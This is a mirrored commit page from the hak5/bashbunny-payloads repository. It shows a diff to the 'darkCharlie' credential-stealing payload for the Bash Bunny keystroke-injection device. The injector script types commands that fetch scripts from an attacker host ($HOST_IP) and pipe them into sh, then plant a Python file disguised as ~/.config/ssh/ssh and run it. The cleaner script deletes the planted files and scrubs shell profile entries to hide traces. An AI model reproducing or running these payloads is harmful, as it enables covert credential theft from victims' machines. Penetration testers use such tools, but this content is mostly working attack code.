hak5/bashbunny-payloads
1
0
Fork 0
mirror of https://github.com/hak5/bashbunny-payloads.git synced 2025-10-29 16:58:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

mac attack

Browse Source 
Got mac attacks working now. SEDing in place on a mac seems like something that really makes the terminal unhappy.  Did the same thing with a python one-shot command.
This commit is contained in:
Michael Weinstein
2017-09-24 02:11:45 -07:00
parent c30c99e668
commit 31468c0e63
2 changed files with 23 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files

16
payloads/library/credentials/darkCharlie/cleaner/payload.txt
View File

@@ -53,14 +53,22 @@ QUACK ENTER
QUACK DELAY 500 QUACK DELAY 500
if [ "$mac" = true ] if [ "$mac" = true ]
then then
QUACK STRING rm -rf \~/.config/ssh \&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bash_profile QUACK STRING rm -rf \~/.config/ssh #\&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bash_profile #macs really seem to hate it when you sed in place, I think.
QUACK ENTER
QUACK STRING "python -c \"import os; home = os.environ['HOME']; file = open(home + '/.bash_profile','r'); dataIn = file.readlines(); file.close(); dataOut = [line for line in dataIn if not '~/.config/ssh' in line]; output = ''.join(dataOut); file = open(home + '/.bash_profile','w'); file.write(output); file.close()\""
else else
QUACK STRING rm -rf \~/.config/ssh \&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bashrc QUACK STRING rm -rf \~/.config/ssh \&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bashrc
fi fi
QUACK ENTER QUACK ENTER
QUACK DELAY 200 QUACK DELAY 200
QUACK STRING exit if [ "$mac" = true ]
QUACK DELAY 200 then
QUACK ENTER QUACK DELAY 2000
QUACK GUI w
else
QUACK STRING exit
QUACK DELAY 200
QUACK ENTER
fi
LED SUCCESS LED SUCCESS
#See you, space cowboy... #See you, space cowboy...

16
payloads/library/credentials/darkCharlie/injector/payload.txt
View File

@@ -62,13 +62,13 @@ then
QUACK STRING curl "http://$HOST_IP/pre.sh" \| sh QUACK STRING curl "http://$HOST_IP/pre.sh" \| sh
QUACK ENTER QUACK ENTER
QUACK DELAY 200 QUACK DELAY 200
QUACK STRING curl "http://$HOST_IP/darkCharlie.py" \> ~/.config/ssh/ssh QUACK STRING curl "http://$HOST_IP/darkCharlie.py" \> "~/.config/ssh/ssh"
QUACK ENTER QUACK ENTER
QUACK DELAY 200 QUACK DELAY 200
QUACK STRING curl "http://$HOST_IP/post.sh" \| sh QUACK STRING curl "http://$HOST_IP/post.sh" \| sh
QUACK ENTER QUACK ENTER
QUACK DELAY 200 QUACK DELAY 200
QUACK STRING ~/.config/ssh/ssh --initializeScript QUACK STRING python "~/.config/ssh/ssh" --initializeScript
QUACK ENTER QUACK ENTER
QUACK DELAY 200 QUACK DELAY 200
else else
@@ -89,7 +89,13 @@ fi
QUACK DELAY 200 QUACK DELAY 200
QUACK ENTER QUACK ENTER
QUACK DELAY 200 QUACK DELAY 200
QUACK STRING exit if [ "$mac" = true ]
QUACK DELAY 200 then
QUACK ENTER QUACK DELAY 5000 #seems like macs need some extra time on this
QUACK GUI w
else
QUACK STRING exit
QUACK DELAY 200
QUACK ENTER
fi
LED SUCCESS #The Dungeons and Dragons tattoo hath rolled a 20 LED SUCCESS #The Dungeons and Dragons tattoo hath rolled a 20